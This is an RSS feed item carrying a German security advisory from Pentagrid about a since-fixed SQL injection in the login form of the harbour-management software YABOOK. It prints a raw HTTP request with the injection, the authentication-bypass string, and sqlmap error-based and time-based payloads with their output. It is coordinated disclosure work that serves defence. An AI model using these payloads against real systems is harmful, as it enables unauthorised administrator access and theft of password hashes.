<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pentagrid AG (Einträge über Yabook)</title><link>https://www.pentagrid.ch/</link><description></description><atom:link href="https://www.pentagrid.ch/de/categories/yabook.xml" rel="self" type="application/rss+xml"></atom:link><language>de</language><copyright>Contents © 2026 Pentagrid AG </copyright><lastBuildDate>Thu, 19 Mar 2026 09:29:57 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>SQL-Injektion in Hafenverwaltung YABOOK erlaubt Umgehung der Authentisierung</title><link>https://www.pentagrid.ch/de/blog/sql-injection-in-hafenverwaltung-yabook/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;YABOOK ist eine webbasierte Software von News-Solutions zur Verwaltung von Anliegerplätzen in Häfen. Einige Häfen nutzen diese Lösung als gehostete Applikation oder auch als On-Prem-Installation. Bei einer Sicherheitsuntersuchung stellte Pentagrid eine SQL-Injection in der Login-Maske der Webanwendung fest, die eine Authentisierungsumgehung ermöglichte. Dieses Sicherheitsproblem ist behoben.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-12-13: Initialer Kontakt mit dem Hersteller und initiales Advisory gesendet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-12-13: Verifiziert, dass der Fehler in Version 6.61 behoben ist.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-13: CVE-ID beantragt.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-03-12: Frist für Veröffentlichung nach 90 Tagen.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="sql-injection-in-der-hafenverwaltung-yabook"&gt;
&lt;h2&gt;1.  SQL-Injection in der Hafenverwaltung YABOOK&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8 Kritisch&lt;/pre&gt;
&lt;section id="betroffene-komponenten"&gt;
&lt;h3&gt;Betroffene Komponenten&lt;/h3&gt;
&lt;p&gt;Pentagrid stellte die Verwundbarkeit in folgenden Versionen von YABOOK in der On-Prem-Installation bei einem Penetrationstest fest. Weitere Versionen sind voraussichtlich ebenfalls betroffen.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Version 3.43&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Version 5.80&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="zusammenfassung"&gt;
&lt;h3&gt;Zusammenfassung&lt;/h3&gt;
&lt;p&gt;Die Web-Anwendung YABOOK weist auf der Login-Seite eine SQL-Injection-Verwundbarkeit auf, die durch unauthentisierte Personen im Netzwerk bzw. über das Internet ausgenutzt werden kann.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="auswirkung"&gt;
&lt;h3&gt;Auswirkung&lt;/h3&gt;
&lt;p&gt;Die Authentisierung ist umgehbar. Das Administrator-Konto kann übernommen werden. Mit der SQL-Injection kann die Anwendung vollständig kompromittiert werden. Alle Daten der Anwendung können ausgelesen und manipuliert werden. Das Auslesen und Ermitteln von Passwörtern kann sich gegebenenfalls auch auf andere Anwendungen auswirken, wenn Passwörter wiederverwendet werden.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technische-details"&gt;
&lt;h3&gt;Technische Details&lt;/h3&gt;
&lt;p&gt;Beide getesteten Versionen sind bei der Verarbeitung von Login-Daten von einer SQL-Injection im Feld &lt;code class="docutils literal"&gt;username&lt;/code&gt; betroffen. Bei der Eingabe ungerader Anzahlen von Hochkommas tritt eine Fehlermeldung auf, wie folgende Beispielanfrage zeigt:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /kasse/ HTTP/1.1
Host: XX.XX.XX.XX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://XX.XX.XX.XX
DNT: 1
Connection: close
Referer: http://XX.XX.XX.XX/kasse/
Cookie: Kasse=fnba5lhg04ib7e6v3qqk81gu05
Upgrade-Insecure-Requests: 1

username=administrator%27%29+OR+1%3D1&amp;amp;password=asd&amp;amp;submit=Login&lt;/pre&gt;
&lt;p&gt;Diese HTTP-Anfrage resultiert in folgender HTTP-Antwort:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200 OK
Date: [...]
Server: [...]
X-Powered-By: [...]
Expires: [...]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4613
Connection: close
Content-Type: text/html

 &amp;lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
     "http://www.w3.org/TR/html4/loose.dtd"&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&amp;gt;
&amp;lt;title&amp;gt;Hafenverwaltung - YABOOK&amp;lt;/title&amp;gt;

[...]

&amp;lt;/div&amp;gt;
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') AND (password='7815696ecbf1c96e6894b779456d330e')' at line 1&amp;lt;div class=error&amp;gt;Benutzername oder Passwort falsch!&amp;lt;/div&amp;gt;&lt;/pre&gt;
&lt;p&gt;Oft verwenden Webanwendungen zum Überprüfen eines validen Logins eine SQL-Abfrage, die ermittelt, ob zu den eingegebenen Logindaten ein passender Nutzer in der Datenbank gefunden wird. Ist das Ergebnis der Abfrage größer Null, wird der Zutritt gewährt. Derartige Abfragen lassen sich, sofern die Seite von einer SQL-Injection-Schwachstelle betroffen ist, ausnutzen, indem die Abfrage so manipuliert wird, dass das Ergebnis immer größer Null ist, unabhängig von dem eingegebenen Passwort. Dies ist auch bei YABOOK der Fall. Wird als Nutzername die Zeichenkette &lt;code class="docutils literal"&gt;admin') OR &lt;span class="pre"&gt;('1'='1&lt;/span&gt;&lt;/code&gt; eingegeben, zusammen mit einem beliebigen Passwort, wird man automatisch als Administrator angemeldet.&lt;/p&gt;
&lt;p&gt;Auch mittels Sqlmap konnte die Schwachstelle gefunden und das Datenbank-Backend ermittelt werden, wie folgender Ausschnitt zeigt:&lt;/p&gt;
&lt;pre class="literal-block"&gt;[13:32:53] [INFO] resuming back-end DBMS 'mysql'
[13:32:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: username=administrator') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170767671,(SELECT (ELT(2508=2508,1))),0x716b6b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- xddc&amp;amp;password=&amp;amp;submit=Login

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=administrator') AND (SELECT 5783 FROM (SELECT(SLEEP(5)))dTQF)-- jOzA&amp;amp;password=&amp;amp;submit=Login
---
[13:32:53] [INFO] the back-end DBMS is MySQL
[13:32:53] [INFO] fetching banner
[13:32:53] [INFO] resumed: [...]
web server operating system: Linux Debian [...]
web application technology: [...]
back-end DBMS: MySQL &amp;gt;= 5.5
banner: [...]&lt;/pre&gt;
&lt;p&gt;Mit Sqlmap war es außerdem möglich, Passwort-Hashes der Nutzerkonten abzufragen. Die Passwort-Hashes sind MD5-Hashes der Passwörter ohne weiteren Salt-Wert, wodurch ein Bruteforce-Angriff auf die Hashes vereinfacht wird. MD5-Hashes lassen sich effizient generieren und damit durchprobieren, weshalb das Verfahren für Passwort-Hashing nicht mehr dem Stand der Technik entspricht.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="vorbedingung"&gt;
&lt;h3&gt;Vorbedingung&lt;/h3&gt;
&lt;p&gt;Ein Angreifer benötigt Zugang zum Netzwerk und muss die Webanwendung im Netzwerk erreichen können. Dies entfällt, falls die Anwendung auch aus dem Internet erreichbar ist, wie es bei anderen Häfen in Deutschland der Fall ist.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="empfehlung"&gt;
&lt;h3&gt;Empfehlung&lt;/h3&gt;
&lt;p&gt;Pentagrid empfahl dem Hersteller:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Das Sicherheitsproblem zu beheben und auf weitere Sicherheitsprobleme zu prüfen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keine Fehlermeldungen zu fehlerhafter SQL-Syntax auszugeben.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Betroffene Kunden zu informieren.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pentagrid empfiehlt Nutzern:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Auf eine aktuelle Version der Software umzustellen. Version 6.61 ist Tests der Pentagrid zufolge frei von dem Problem.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;Das Sicherheitsproblem wurde von Ole Diederich (Pentagrid) gefunden.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><category>Advisory</category><category>SQL injection</category><category>Vulnerability</category><category>Yabook</category><guid>https://www.pentagrid.ch/de/blog/sql-injection-in-hafenverwaltung-yabook/</guid><pubDate>Tue, 12 Mar 2024 10:42:00 GMT</pubDate></item></channel></rss>